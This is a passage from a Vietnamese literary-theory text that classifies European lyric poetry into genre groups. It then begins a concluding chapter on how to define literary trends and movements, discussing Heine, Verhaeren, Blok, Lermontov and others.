Trong trữ tình Nga cuối thế kỷ XIX các môtíp điền viên, hoa tình ca đã vang lên rất rõ ràng trong sáng tác cuối của Đergiavin (“Ngợi ca cuộc sống nông thôn” và những bài khác), ở Karamdin (“Thư gửi I.I.Đimitriev và những bài khác”), sau đó là trong sáng tác đầu tay của Giukôpxki (“Chiều”, “người Xlavơ”v.v…), đồng thời là ở những tác phẩm đầu tay của Batiuskov (“Những ngôi nhà thân yêu của tôi” v.v…) của Puskin (“Thành phố nhỏ” v.v…) của Rưlêcv (“Hoang mạc” v.v…).
Về sau G.Hainơ trong chùm thơ nhỏ “Du ngoạn ở Garx” của mình, “say mê” vùng núi “nơi đang sống những người bình dị, nơi ngọn gió tự do thổi” trong khi khinh bỉ những người “quần chùng áo dài tơ lụa” với “những lời xu nịnh”, những “cái ôm hôn” của họ. Nhưng trong miêu tả cuộc sống ở ngôi nhà nhỏ của “người thợ mỏ tóc hoa râm” và lối sống sinh hoạt nông thôn xung quanh, trong những cuộc chuyện trò với cô gái trẻ của người thợ mỏ, nhà thơ lại đưa “sự lãng mạn” với những sự tượng trưng – lịch sử khác nhau của mình vào đó như cái bản tính thường xuyên của mình.
Muộn hơn trong văn học Bỉ, E.Verkharn đã sáng tác một loạt những bài thơ lớn gắn bó với nhau của thể loại này như “Những người Phlaman”, “Những làng quê hư ảo”, “Những xóm thôn ảo giác”, “Thành phố – bạch tuộc”. Tư tưởng của chúng là: “Đồng bằng đã chết – đối với nó thành phố đang ăn mòn trái tim” hoặc rõ hơn: “Và ở đằng kia không bao giờ chảy – Rung rinh của những vườn vàng, trong những ngọn gió ngời lên tự do – khoảng vô cùng tối đen đang dang ra những cái cánh – Đội ngũ những nhà máy vuông vức” (“Đồng bằng”). Nếu như chùm thơ đầu trong những chùm được gọi tên phơi bày lề lối sinh hoạt và phong tục của các chòm xóm Phlâmn tràn ngập lao động vui vẻ, sung túc và niềm vui sống thì hai chùm giữa lại chỉ cho thấy sự bần cùng dần dần, sự sa sút và thậm chí cả sự không có thừa kế của cư dân vùng đồng bằng nông thôn, còn chùm cuối cùng thì nêu ra sự huỷ diệt đời sống của chúng “của thành phố – bạch tuộc” với những nhà máy, hải cảng, tàu thuyền, nhà thờ lớn, tửu điếm, sở chứng khoán, với những đau đớn, khổ sở, tuyệt vọng của dân cư nửa bần cùng của chúng. Theo quy mô của tưởng tượng sáng tạo và độ tươi thắm của màu sắc trữ tình những chùm thơ ấy của Verkharn là hiện tượng xuất sắc trong trữ tình “phong tục” thế giới.
Trong văn học Nga đầu những năm 1900 A.Blôc cũng đã sáng tác một chùm lớn những bài thơ “Thành phố”, miêu tả trong đó cuộc sống Pêtécbur theo cách của mình – những quảng trường, đường phố, đám đông người, cặp tình nhân lẻ loi, ổ điếm, nhà hát của nó. Hình như đối với nhà thơ thì trong “Những chiều vắng vẻ”, “Con xà tinh” bị đè bẹp bởi móng guốc con ngựa ở tượng đài Piôtr I “bay lượn trên những ngôi nhà” và đầu độc thành phố bằng cái khát vọng khoái trá độc ác và tiếng rên rĩ về sự hiến sinh của nó. Trong chùm thơ được đưa lên bình diện thứ nhất là những môtíp trụy lạc, suy thoái nhưng đồng thời nhà thơ cũng nhận thức được sự tuyệt vọng của toàn bộ thế giới hung ác này để đưa vào chùm thơ “Chiếc xà lan cuộc sống đã dừng lại…” và “Mít tinh”, gắng sức hiểu rõ những lực lượng trong chúng có khả năng phá tan thế giới ấy.
Chùm thơ “phong tục” đặc sắc về cuộc sống nông thôn gia trưởng Nga mươi năm trước cách mạng dễ được phân chia trong thơ ca thời kỳ đầu của X.Êxênhin. Nhà thơ say đắm vẻ xinh đẹp của miền quê thân yêu với những cánh đồng kiều mạch, những cánh rừng bạch dương và hoàn diệp liễu nhỏ, những thôn làng lẩn khuất giữa chúng, những ngôi nhà gỗ nhỏ, những nhà thờ, những bờ dậu, những cổng làng… Và nhà thơ với vẻ tuyệt mĩ trữ tình tinh tế đã miêu tả toàn bộ bản sắc thời đại – dân tộc không lặp lại của cuộc sống ấy và đã sớm cảm nhận một cách bồn chồn, buồn rầu sự không bền vững lịch sử của nó.
Song song với các thể loại “phong tục”, trữ tình các nước châu Âu thế kỷ XIX và XX còn phát triển cả nội dung mang tính tiểu thuyết. Nó đã chỉ rõ ràng rằng các thi phẩm có tính tiểu thuyết theo thể loại không hoàn toàn bị hạn chế trong các môtíp bình yêu, biểu đạt sức mạnh và tự do của tình cảm cá nhân, mà còn mang ý nghĩa độc lập của toàn bộ thế giới cảm xúc bên trong của cá nhân, như điều đó có ở Katull và Prôperxi, và ở mức độ lớn hơn – ở Đante và Petrarka.
Trong những mâu thuẫn sâu sắc và căng thẳng của đời sống chính trị – xã hội của thời đại mới, có sự hình thành cá nhân trong những xung đột của nó với hoàn cảnh bảo thủ hoặc đôi khi với những phong trào tiến bộ, sự hình thành đó được biểu lộ không chỉ qua những quan hệ tình yêu cá nhân, mà thường xuyên và trực tiếp qua những tìm tòi tư tưởng – cảm xúc và hướng đến lý tưởng, qua những thay đổi tư tưởng tình cảm thường tràn ngập đau buồn và thất vọng, qua nỗi say đắm cá nhân về những xúc động riêng tư, qua những nỗ lực tìm kiếm tiếng vang đáp lại chúng trong những hiện tượng này hay hiện tượng khác của thế giới bên ngoài. Trong sáng tác của nhiều nhà thơ xuất sắc, những đặc điểm như vậy của nội dung trữ tình tiểu thuyết đã biến đổi và biểu hiện rất đặc sắc.
Chẳng hạn như trong sáng tác trữ tình phức tạp và đa diện của V.Huygô có cả một tuyến trữ tình tiểu thuyết tiêu biểu là tuyển tập hai cuốn thơ “Suy tưởng” mà ông đã sáng tác trên 20 năm. Trong phần hai của tuyển tập thể hiện sự khủng hoảng thế giới quan của nhà thơ, nổi lên những môtíp thất vọng trong đời sống, những cảm xúc buồn nản, buông thả tư tưởng toan quay lưng lại với đời sống công dân, với xã hội hư hỏng và đi tìm yên tĩnh trong cuộc sống hài hòa của thiên nhiên. Với sức mạnh to lớn những môtíp ấy đã biểu hiện trong “Đau khổ của thần Ôlimpio”, “Dâng tặng Avinka”, “Tôi đã ngắt bông hoa ấy” và những bài khác.
Trong sáng tác của G.Hainơ cũng có những chùm thơ trữ tình tương tự – “Khúc trung gian trữ tình”, “Lại về quê hương”, một phần nào cả “Những khúc tình ca”. Trong đó nói nhiều về tình yêu và hình ảnh người tình thấp thoáng hầu như trên mỗi trang thơ. Nhưng các môtíp tình yêu của Hainơ không có ý nghĩa độc lập mà hầu như luôn chỉ là nguyên cớ của những cảm xúc triết học và xã hội sâu sắc hơn, là nỗi cô đơn, sự khinh thường thói philixtanh của đời sống Đức hủ lậu, nỗi mong đợt một cuộc sống khác nào đó sáng sủa, có hiệu quả và ý nghĩa hơn. Sự thất vọng trong đời sống xã hội – dân tộc ở nhà thơ thường chìm sâu vào sự thất vọng về cuộc sống nói chung và lúc đó ở ông xuất hiện những ý tưởng về cái chết, về nấm mồ, còn những người sống thì ông ta hình dung thành những tử thi và hài cốt. Chỉ có sự mỉa mai ngấm ngầm với mình và kẻ khác mới làm cho Hainơ khắc phục được tất cả những tâm trạng u ám ấy và “nỗi đau buồn thế giới” của mình.
M. Lermontov là nhà trữ tình tiểu thuyết mạnh mẽ nhất trong văn học Nga thế kỷ XIX. Xuyên qua tất cả sáng tác trữ tình của ông là những môtíp chứa đựng trong mình, ở những đặc điểm chung nhất là cái mâu thuẫn được gợi lên trong các chùm thơ của Huygô và Hainơ. Đó là cái mâu thuẫn giữa sự khinh thường cuộc sống hèn hạ của xã hội với những cơn bực bội vô ích muốn trốn khỏi nó. Nhưng theo nguồn gốc và sự giáo dục thì Lermontov gắn bó rất chặt chẽ với xã hội quý tộc phản động cấp cao của đất nước và thời đại mình. Vì vậy sự bất bình của ông đối với xã hội ấy mạnh mẽ hơn nhiều và ý muốn trốn thoát nó trở nên lãng mạn, xúc động cao cả hơn nhiều. Chúng xuất hiện không trong hành trình đến túp lều trên núi của “Người thợ mỏ già” như ở Hainơ mà ở trong nỗi khát khao đến đất nước kỳ lạ vùng Kapkadơ, đến cái thế giới tưởng tượng và lý tưởng hóa của các dân tộc miền núi thượng võ, “nơi mọi người tự do như những con chim ưng”. Và trong sự phủ định có tính triết học cuộc sống Lermontov tạo dựng không phải những hình ảnh châm biếm những bộ hài cốt chơi đàn vĩ cầm mà là hình tượng trữ tình hùng vĩ của Con quỷ – “Hoàng đế của hiểu biết và tự do”.
Trong văn học Nga thế kỷ XX, trữ tình tiểu thuyết đặc biệt nổi bật với sáng tác của A.Blôk cùng những chuyển biến tư tưởng và tâm lý sâu sắc. Những xúc động tình yêu của nhà thơ lúc này chỉ là phương tiện và nguyên nhân biểu hiện của những chuyển biến ấy, còn hình tượng người đàn bà đẹp trước kia đã chuyển hành hình tượng người phụ nữ không quen biết chỉ thỉnh thoảng xuất hiện trong cảnh đắm say của các tiệm ăn, giữa đám đông phố phường.
Còn trong sáng tác của V. Maiakôpxki, giữa các môtíp nội dung “lịch sử – dân tộc” và “phong tục” (châm biếm) không khó khăn gì khi theo dõi tuyến trữ tình lãng mạn đi từ những trường ca trữ tình ban đầu qua một loạt bài thơ cho đến lời tựa thứ hai trường ca “Cất cao giọng”.
Nối tiếp Maiakôpxki trong văn học Xô Viết đã nổi lên một nhóm nhà thơ sáng tác trữ tình, đặc biệt là các balát trữ tình với những đặc điểm “lịch sử – dân tộc” của toàn bộ các vấn đề. Chẳng hạn như M.Xvetlôv (“Grênađa”, “Cô sinh viên khoa công nhân” v.v…), E. Bagrixki (“Đàm luận với đoàn viên Côngxômôn”…, “Cái chết của nữ đội viện thiếu niên tiền phong” v.v…), N. Tikhônôv (“Sự cày xới”, “Con đường dài” v.v…), N.Axêev (“Vải đỏ”, “Hành khúc Buđennưi” v.v…), V.Lugôpxkôi (“Bài ca về ngọn gió”, “Những hoang mạc và mùa xuân đối với người bônsêvich” v.v…), Ia. Xmêliakôv (“Hãy trao!”, “Riađanxkie Maratư” v.v..), O.Bergolx (“Những bài thơ về những người bônsêvich Lêningrad”) v.v…
Một vài nét riêng trong sáng tác trữ tình của các dân tộc các nước châu Âu thế kỷ XIX – XX chủ yếu là trữ tình phong cảnh được mô tả riêng, nhìn qua thì không được xếp đặt vào một trong những nhóm thể loại mà chúng ta đã chia. Nhưng thể loại ấy (chúng tôi đang nói không phải về ý nghĩa tượng trưng mà về sự mô tả các hình dáng của tự nhiên trong nghĩa trực tiếp) có nét đặc trưng quy luật nghệ thuật mà từ đó khởi nguồn những tiêu chuẩn riêng biệt có thể xếp vào thơ phong cảnh cá nhân.
Thơ phong cảnh thiên nhiên không thể xếp vào loại mang những nhiệm vụ chung của tác phẩm trữ tình – nhiệm vụ khám phá thế giới bên trong của con người trong tính cách lịch sử – xã hội của nó, trong nhận thức tư tưởng và đánh giá cảm xúc của nó từ phía nghệ sĩ. Vì vậy đối với nhà thơ – phong cảnh trữ tình chân chính, thiên nhiên tự nó không thể có ý nghĩa độc lập. Thiên nhiên đối với nhà thơ là đối tượng của sự miêu tả mà thông qua đó nhà thơ biểu hiện quan niệm tư tưởng – cảm xúc tổng quát của mình. Quan niệm ấy như đã nói, là có thể trở thành “ẩn ý” tư tưởng cảm xúc của việc mô tả thiên nhiên mà nhà thơ có thể che dấu sự bộc lộ trong khí sắc nhịp điệu – trọng âm ngữ nghĩa chung của việc miêu tả đó. Nhưng quan niệm tư tưởng – cảm xúc có thể hiện ra quá giới hạn – trong tư cách suy ngẫm trữ tình ngắn thế này hay thế khác, biểu đạt trong hình thức của một cách ngôn, châm ngôn khái quát nào đó hoặc của một “phép đối ngẫu” hình ảnh nào đó với cuộc sống con người, của một ám dụ về nó. Thiếu ẩn dụ trữ tình như vậy, thiếu “phép đối ngẫu” như vậy, thơ sẽ chỉ còn tính đồ họa sự kiện của những gì có thể thấy được bề ngoài bằng mắt nghe được bằng tai con người trong đời sống tự nhiên. Và điều đó đã không có quan hệ với nghệ thuật như một biến thể của nhận thức xã hội. Có thể thỉnh thoảng tìm thấy các sáng tác loại này ở những nhà trữ tình – phong cảnh tinh tế nhất như ở A.Phet, ở I.Bunhin hay ở X.Êxênhin.
Nhưng nếu những bài thơ phong cảnh có ẩn ý trữ tình, khái quát, tư tưởng – cảm xúc của mình thì nó có thể có ý nghĩa loại hình học, lặp lại một cách lịch sử khác nhau của toàn bộ vấn đề của mình. Và vì vậy trữ tình phong cảnh cũng có thể trữ tình vừa “lịch sử – dân tộc”, vừa “phong tục”, vừa tiểu thuyết theo phương diện nội dung thể loại nội dung của mình và đồng thời nó không nhận một hình thức thể loại nhịp điệu đoạn thơ nào đó trong những điều kiện lịch sử cụ thể xác định. Ví dụ như trong bài thơ của Êxênhin “Sau mớ tóc đen của cánh rừng nhỏ” thiên nhiên được suy ngẫm trong khía cạnh “lịch sử – dân tộc” còn trong bài thơ “Bãi lầy và đầm lầy” cũng của ông thì ở khía cạnh “phong tục”, trong bài “Con đường đã trầm tư về buổi chiều đẹp” thì ở khía cạnh tiểu thuyết.
Và cuối cùng giống như ở sử thi, ở kịch, ở trong trữ tình những khía cạnh khác nhau của nội dung thể loại không tách nhau bằng những ranh giới không vượt qua được và trong thi phẩm này hay khác chúng có thể kết hợp cách này hay cách khác và xuyên thấm cái này vào cái kia.
____________

Vậy là chúng ta đã cố gắng vận dụng chỉ một nguyên tắc phân chia các nhóm thể loại với tất cả ba loại văn học: tự sự, kịch và trữ tình. Nếu như sự cố gắng ấy có thể được thừa nhận có sức thuyết phục chung thì từ đó có thể rút ra kết luận rằng loại và thể văn học đó là những phương diện khác nhau hoàn toàn của nội dung tác phẩm, rằng thể loại đó không phải là những kiểu phân chia lôgic trong các giới hạn của mỗi một loại riêng, rằng việc chia văn học nghệ thuật thành các loại và chia nó thành các thể xuất phát không phải trong một “mặt bằng” logic mà trong “những mặt bằng” khác nhau, theo những dấu hiệu khác nhau.
Bằng cách đó, về cơ bản, sự dung hòa trong tất cả năm chương của cuốn sách này nhằm xem xét những khác biệt nội dung thể loại, khái niệm nhóm thể loại là cần thiết. Từ tất cả điều đã nói về vấn đề đó ở trên rõ ràng là các thể của tất cả ba loại văn học đều đi vào từng nhóm thể loại. Ví dụ đi vào nhóm tiểu thuyết có các thể loại có cả tiểu thuyết thơ và văn xuôi, cả truyện vừa, cả tiểu thuyết ngắn, cả trường ca tiểu thuyết nhỏ và các balát tiểu thuyết (khác với balát thần thoại, “lịch sử – dân tộc” và “phong tục”) cả các thể trữ tình phù hợp (ví dụ các bi ca tiểu thuyết, trong sự khác biệt của chúng với bi ca “phong tục”, bi ca sinh hoạt – xã hội hoặc triết học), và, cuối cùng những tác phẩm kịch phù hợp (kịch đram của những dục vọng cá nhân “bất hạnh”, những bi kịch đời sống xã hội của tình cảm và nghĩa vụ cá nhân và những kịch đram sinh hoạt bình dị của phạm vi khác và của các biến thể của cảm hứng. Và những nhóm thể loại khác cũng phong phú như thế trong thành phần của mình.
________________

Bây giờ cũng có thể rút ra các kết luận liên quan với tất cả ba phương diện nội dung có tính loại hình được lặp lại một cách lịch sử. Đặc biệt quan trọng và thú vị là vấn đề về mối quan hệ qua lại của các biến thể cảm hứng và của các biến thế nội dung thể loại và hình thức thể loại. Chúng có thể tồn tại và tác động lẫn nhau theo những cách khác nhau trong những tác phẩm khác biệt. Điều đó đặc biệt liên quan tới tự sự vốn phong phú hơn bởi các hình thức thể loại.
Thường ví dụ là các tác phẩm thần thoại về thể loại với cảm hứng anh hùng trong hình thức truyện vừa (“Con đường đau khổ”) hay những tác phẩm “lịch sử – dân tộc” theo thể loại với cảm hứng châm biếm, trong hình thức balát (“Con xà tinh – Tugarin của A.N.Tônxtôi), hoặc chuyện ngụ ngôn (“Con sói trong chuồng chó săn” của Krulov), hoặc những tác phẩm thể loại “phong tục” với cảm hứng lãng mạn trong hình thức trường ca (“Hoàng hậu Mab” của Selli), hoặc truyện vừa (“Atala” của Satôbriăng), hoặc các tác phẩm thể loại tiểu thuyết với cảm hứng cười nhạo, trong hình thức anh hùng ca văn xuôi (“Gil Bladơ” của Lexagiơ”) v.v…

KẾT LUẬN
NHỮNG KHUYNH HƯỚNG VĂN HỌC
VÀ TRÀO LƯU TƯ TƯỞNG VĂN HỌC

1
Trong các chương chính quyển sách này đã giải thích – trong sự phù hợp với những quan điểm khoa học của tác giả của nó – những biến thể cảm hứng của các tác phẩm văn học, những sự khác nhau trong những nguyên tắc nghệ thuật phản ánh cuộc sống, những đặc điểm nội dung của những nhóm thể loại văn học khác nhau. Tất cả điều đó là những biến thể và đặc điểm của nhiều nghệ thuật mà như đã trình bày ở trên đã và đang lặp lại trong các tác phẩm nhiều nhà văn các thời đại lịch sử khác nhau, của những tính dân tộc khác nhau, những trào lưu văn học khác nhau của một nước và thời đại. Vì vậy những khái niệm khoa học trong đó được nhận thức những bản chất chung ấy và đã nhận được tên gọi các khái niệm có tính loại hình học. Trong mỗi một khái niệm của chúng được nhận thức một trong những phương diện được lặp lại nào đó của nội dung tác phẩm.
Nhưng những khái niệm ấy được tạo ra bởi con đường khoa học trừu tượng từ tính cụ thể lịch sử của những phương diện và bản chất phù hợp nội dung các tác phẩm được sáng tạo bởi các nhà văn khác nhau của các đất nước, thời đại, khuynh hướng xác định. Chẳng hạn chúng ta nói chủ nghĩa hiện thực nói chung là cái gì, để thứ nhất phân biệt rõ phương diện ấy của nội dung trong nhiều tác phẩm của các nhà văn khác nhau với tất cả những phương diện khác của nó, và thứ hai là để có khả năng sau đó làm rõ chủ nghĩa hiện thực của Xervantex khác như thế nào với chủ nghĩa hiện thực của Philđing, L.Tônxtôi, Bandăc, Gorki. Hoặc là chúng ta đã hướng vào tìm sự khác nhau của bi kịch với kịch đram chính trị hoặc là của hài hước với châm biếm trong toàn bộ – để vận dụng những khái niệm chung ấy nhằm làm sáng tỏ cái độc đáo cụ thể lịch sử của những phương diện nội dung ấy trong những tác phẩm của các nhà văn đã sáng tác trong những thời đại khác nhau, đất nước khác nhau, thuộc về những khuynh hướng văn học khác nhau.
Nhưng cả những đặc điểm cảm hứng, cả đặc sắc thể loại, cả những mối tương quan các nguyên tắc phản ánh cuộc sống không phải tự nó tạo ra. Chúng luôn xuất hiện trong tính cụ thể lịch sử của những thuộc tính cơ bản của nội dung tác phẩm và từ chúng mà nhận được tính không lặp lại lịch sử của mình. Còn những đặc tính cụ thể, cơ bản của nội dung – đó là hệ đề tài các tác phẩm, tức là những đặc điểm của những tính cách xã hội được phản ánh trong chúng; đó là – toàn bộ những vấn đề của chúng (đặc tính quan trọng hơn cả của nội dung), tức là sự hiểu biết tư tưởng của các tính cách ấy, sự quan tâm của nhà văn đối với những phương diện nhất định, quan trọng hơn cả về mặt tư tưởng của chúng mà anh ta tách riêng ra, tăng cường lên, phát triển thêm trong chính việc miêu tả chúng, và cuối cùng, đó là sự đánh giá tư tưởng – cảm xúc các tính cách bắt nguồn từ sự hiểu biết của chúng.
Từ cái cụ thể không lặp lại một cách lịch sử trong giới hạn của một thời kỳ nhất định của phát triển lịch sử dân tộc, sự thống nhất ba phương diện cơ bản ấy của nội dung các tác phẩm văn học, cùng với ý nghĩa quyết định của toàn bộ các vấn đề của chúng, tạo ra cái độc đáo không lặp lại một cách lịch sử của những biến thể của cảm hứng, thể loại và những nguyên tắc phản ánh đời sống mà những cái ấy trong những đặc điểm chung của mình đang lặp lại một cách lịch sử trong các giai đoạn khác nhau của các nền văn học dân tộc.
Như vậy là tất cả các khái niệm có tính loại hình học mà thi pháp lịch sử như một trong những bộ môn của khoa nghiên cứu văn học phát triển và giới thiệu chúng, quan trọng không phải vì chính bản thân mà ở trong ý nghĩa với sự giúp đỡ của chúng có thể với tính rõ ràng dứt khoát to lớn hiểu thấu tất cả tính cụ thể nghệ thuật của sự phát triển có tính lịch sử các nền văn học dân tộc, của tất cả “quá trình văn học” có tính dân tộc. Và cần chỉ ra ý nghĩa ấy của chúng.
Vậy trước hết cái gì là những thành phần cụ thể lịch sử mà từ sự thống nhất mâu thuẫn của chúng xuất hiện quá trình văn học dân tộc xét về toàn bộ?
Điều đó đặt trước chúng ta một câu hỏi khoa học quan trọng và tổng quát nhất – câu hỏi về tính quy luật lịch sử của việc xuất hiện nội dung các tác phẩm văn học trong sự thống nhất cụ thể của tất cả các phương diện và thuộc tính lặp lại và không lặp lại một cách lịch sử của nó.
Nội dung tư tưởng của các tác phẩm văn học bắt nguồn, tất nhiên, không chỉ từ các lý tưởng của những nhà văn mà còn từ tất cả nhân sinh quan của họ và trước hết từ phương diện cơ bản của nhân sinh quan mà có thể gọi thế giới quan tư tưởng của chúng. Một mặt khác của nhân sinh quan các nhà văn – những đặc điểm lý luận, trừu tượng của họ – không phải là nguồn gốc trực tiếp của nội dung sáng tác của họ nhưng có thể có một ý nghĩa gián tiếp rất to lớn đối với nó”(1).
Như đã chỉ ở trên, lịch sử của mỗi xã hội dân tộc được hình thành không phải từ những mối tương quan và tác động ngẫu nhiên của những cá thể riêng lẻ tự nó mà từ những tương quan và tác động của toàn bộ các giai cấp, tầng lớp, nhóm xã hội mang tính quy luật, quy định sự phát triển và đổi thay của những hình thức xã hội này hay khác và các thời kỳ của chúng, xuất hiện trong những xung đột của chúng và trong cuộc đấu tranh của các phong trào xã hội mà những cá nhân riêng lẻ là những người tham gia vào đó.
Bất kỳ sự khái quát nghệ thuật đời sống nào cũng luôn được dựng nên bởi những sức mạnh trí tuệ, đạo đức, xúc cảm và thực sự sáng tạo của cá nhân riêng lẻ. Nhưng chính nội dung của những khái quát ấy luôn bị quy định bởi những mâu thuẫn của đời sống xã hội – dân tộc dẫn tới việc tạo nên những lý tưởng này hay lý tưởng khác (thường rất trừu tượng và “có tính thăng hoa”). Những lý tưởng ấy được hình thành bởi các đại biểu của các phong trào xã hội và các tầng lớp xã hội riêng lẻ nhưng luôn xuất hiện trong toàn bộ những vấn đề của mình trên cơ sở tất cả mối tương quan các lực lượng xã hội hiện hữu trong một giai đoạn nào đó của phát triển dân tộc.
Từ tất cả điều đó mà trong nền văn học dân tộc này hay khác, trong thời đại này hay thời đại khác của sự phát triển lịch sử thường có những nhà văn nắm bắt được một vài sự thống nhất: ít nhiều có ý nghĩa của thế giới quan mang tính hệ tư tưởng của mình và những quan niệm lý luận của mình rồi từ đó tồn tại một vài sự thống nhất của toàn bộ những vấn đề của sáng tác của mình và tiếp theo, của tất cả các mặt khác của nội dung của nó.
Vậy nhận thức sự thống nhất ấy từ quan điểm khoa học lịch sử văn học như thế nào? Ở trên trong khi đụng chạm qua các vấn đề tương tự, khắp nơi chúng tôi đã nói, về các khuynh hướng văn học lúc có điều kiện. Nhưng xác định cho chính xác thế nào là khuynh hướng văn học? Và khái niệm đó đối với lịch sử văn học có đầy đủ chăng?

2
Thực ra thì chúng tôi đã nêu cách hiểu vấn đề này của mình trong phần II cuốn sách này khi làm sáng tỏ những ý nghĩa khác nhau của thuật ngữ “chủ nghĩa lãng mạn” tích luỹ trong khoa học chúng ta một trăm rưỡi năm, cũng để tiếp tục làm sáng tỏ nó và phân biệt khái niệm “chủ nghĩa lãng mạn” với khái niệm “tính chất lãng mạn”. Chúng tôi cũng đã viện dẫn ở đó nhà lịch sử văn học Pháp cuối thế kỷ XIX là A.A.Sakhôv, người đã đề xuất cách hiểu sau đây của một số tính quy luật chung của quá trình văn học: “Thoạt đầu trong xã hội hiện ra các tư tưởng và khái niệm mới, chúng thay thế những quan niệm cũ, sau đó những khái niệm chung ấy, đó là thế giới quan mới trở thành nội dung thi ca: cuối cùng – trên cơ sở các sản phẩm thơ ca xây dựng nên lý luận những phương pháp văn học và những kỹ thuật nghệ thuật mà các nhà văn noi theo trước khi xuất hiện những hình thức khác của kho vật tư xã hội”. Lý luận sáng tác, được tạo dựng bởi nhóm này hay nhóm khác của các nhà văn thì Sakhôv đã gọi là “chương trình văn học”.
Tất cả những sự phụ thuộc ấy được Sakhôv quy định, chúng ta đã thừa nhận là đúng về cơ bản mặc dù không đồng ý với hệ thống thuật ngữ của ông và một vài quan niệm chung về quá trình văn học. Trên cơ sở những truyền thống xa xưa của khoa học chúng ta, chúng tôi đã viết “Về sự nghiên cứu văn học trong thời hiện đại” (“Văn học Nga”, 1965, N0.1), trong đó chỉ ra rằng, ông đã phát biểu về cơ bản chính những đặc điểm ấy.
Chẳng hạn trong phần đầu của bài báo đã nêu B. Râyđôv đã chỉ rõ rằng không thể xem các nhà văn phái Giakôbanh của thời cách mạng Pháp là những nhà lãng mạn. Quả thực, họ đã mơ ước về cái lý tưởng không thực hiện được lúc đó. “Nhưng theo những đặc điểm văn học của mình thì họ đã là những nhà cổ điển”. Bởi vậy khuynh hướng văn học cuối cùng của chủ nghĩa lãng mạn đã tiếp nhận tên gọi của mình khi đối chiếu “các lý luận lãng mạn Đức, cũng như văn học trước cổ điển của các dân tộc Rôman đã mất đi sự mô phỏng cổ đại”(1) khi đối chiếu với chủ nghĩa cổ điển khai sáng.
Nhưng nếu như có thể chấp nhận định nghĩa ấy của khái niệm các khuynh hướng văn học thì từ đó cần rút ra các kết luận chính xác, hoàn thiện về mặt lôgic.
Thứ nhất, theo định nghĩa đó của khái niệm này thì phải thừa nhận khuynh hướng văn học đầu tiên trong lịch sử văn học châu Âu là chủ nghĩa cổ điển Pháp thế kỷ XVII và “người lập chương trình” nổi tiếng nhất của nó là S.Boalô trong “Nghệ thuật thơ ca” của mình (1674) hoặc quá lên về trước nữa là sáng tác của các nhà thơ gọi là “Những nhà kiệt xuất” mà chỉ đạo nghệ thuật là P.Rôngxar, còn chỉ đạo lý luận là “tuyên ngôn” của Gi.Belle “Bảo vệ và xây dựng tiếng Pháp” (1549). Có nghĩa là trước “Những nhà kiệt xuất” và chủ nghĩa cổ điển Pháp trong văn học châu Âu – từ trường ca Etsyl đến trường ca “phong tục” của Rable, còn ở các nước khác thì muộn hơn – đã không có các khuynh hướng văn học. Nhưng bản thân văn học dẫu sao cũng đã tồn tại và phát triển trong các thể loại và phong cách khác nhau trong khi thay đổi toàn bộ những vấn đề của mình và thường xuyên đưa ra những kiệt tác nghệ thuật có ý nghĩa to lớn. Vậy thì cần phải dùng cái khái niệm tổng quát nào nhưng lại cụ thể lịch sử làm cơ sở cho việc nghiên cứu những giai đoạn rất khác nhau ấy của phát triển văn học để nắm bắt tính quy luật lịch sử của chúng? Đối với chúng không thể bịa đặt một cách giả tạo những “khuynh hướng” không tồn tại trong thực tế!
Thứ hai là cách khuynh hướng biểu lộ mình như thế này hay thế khác trong thời đại nhất định không bao giờ không thu hút vào mình toàn bộ văn học dân tộc của thời đại đó. Luôn tìm thấy những nhà văn không đi vào các khuynh hướng. Đối với chúng sẽ phải thế nào? B.G.Râyđôv giải quyết vấn đề đó như sau: “Bên cạnh các khuynh hướng đối lập – ông viết, – đang có những nhà văn không đi vào khuynh hướng nào cả, đứng ngoài giới hạn của cuộc đấu tranh ấy. Rõ ràng là chúng đang tạo nên khuynh hướng riêng của mình mà nó không nhận một cái tên và sự hiểu biết lý luận; rõ ràng là trong tác phẩm của mình họ sử dụng những phương pháp không đụng chạm đến cuộc luận chiến của các trường phái”(1).
Cách giải quyết vấn đề như thế rõ ràng là không nhất quán. Nếu những tác phẩm của một nhóm nhà văn bất kỳ có một sự thống nhất sáng tác nhưng không có một liên hệ sáng tác nào, tuy có gọi là “khuynh hướng” thì lúc đó khái niệm ấy cần được định nghĩa một cách khác và đồng thời không tính đến sự có mặt hay vắng mặt “chương trình” và “lý luận”. Tiếp nữa, phải chăng sự thống nhất sáng tạo chỉ là sự thống nhất các “phương pháp” nghệ thuật (các “thủ pháp” như Sakhôv đã nói) và cuộc luận chiến của “các khuynh hướng” chỉ diễn ra về các “phương pháp”? Và từ đâu mà nói chung ở các nhóm nhà văn hiện ra sự thống nhất phương pháp nếu như ở họ không có một sự thống nhất cơ bản và sâu sắc hơn?
Và cuối cùng là vì sao B.G.Sakhôv lại nghĩ rằng các nhà văn không gia nhập vào những khuynh hướng hiện hữu với các chương trình của chúng nhất định tạo thành một nhóm, một sự thống nhất sáng tác? Giữa chúng có thể có những sự khác biệt sáng tạo sâu xa. Chẳng hạn như trong văn học Nga những năm 60 – 70 thế kỷ XVII chủ nghĩa cổ điển là khuynh hướng tiêu biểu nhất. Nhưng bên canh những đại biểu của nó (Lômônôxôp, Xumarôkavưi, Phônvidinưi và nhiều người khác) thì M.Kheraxkôv và M.Muravier đã viết những bài thơ ca ngợi sự dịu dàng của những tình cảm chân thành và những vẻ đẹp điền viên của thiên nhiên (họ là những tiền bối của Karamđin – người đã tạo nên khuynh hướng của chủ nghĩa tình cảm Nga vào đầu những năm 1790). Ở một phía khác đã xuất hiện cả lớp người kiệt xuất của các nhà văn “tầm thường” đứng đầu là M. Trulkôvưi và M.Komarôvưi, họ đã tạo nên những truyện ngắn, tiểu thuyết sinh hoạt – phiêu lưu thô bạo. Thế mà họ không tạo nên một chương trình riêng và càng không hình thành như một khuynh hướng đặc biệt.
Nhưng trong lịch sử văn học thường có những hiện tượng phức tạp hơn ngăn cản chúng ta xem “khuynh hướng văn học” như một khái niệm cơ bản và quyết định cụ thể lịch sử, tất yếu đối với việc hiểu biết tính quy luật của quá trình văn học. Thường có hiện tượng một nhóm lớn các nhà văn thời đại này hay thời đại khác tiếp nhận một chương trình văn học nào đó được tạo ra bởi một vài người trong số họ định hướng vào nó cách này hay cách khác trong sáng tác của mình và hình thành bằng cách đó một khuynh hướng văn học thống nhất. Không nghi ngờ vì điều đó có nghĩa là trong sáng tác của chúng có một vài điểm chung (tất nhiên không chỉ những “phương tiện” hình thức mà cả các chiều hướng tư tưởng). Tuy vậy sự thống nhất ấy có thể chỉ là rất trừu tượng và từng phần và trong những nguyên lý cơ bản hơn của sự sáng tạo của mình, trước hết là những đặc điểm toàn bộ những vấn đề mà mình bắt 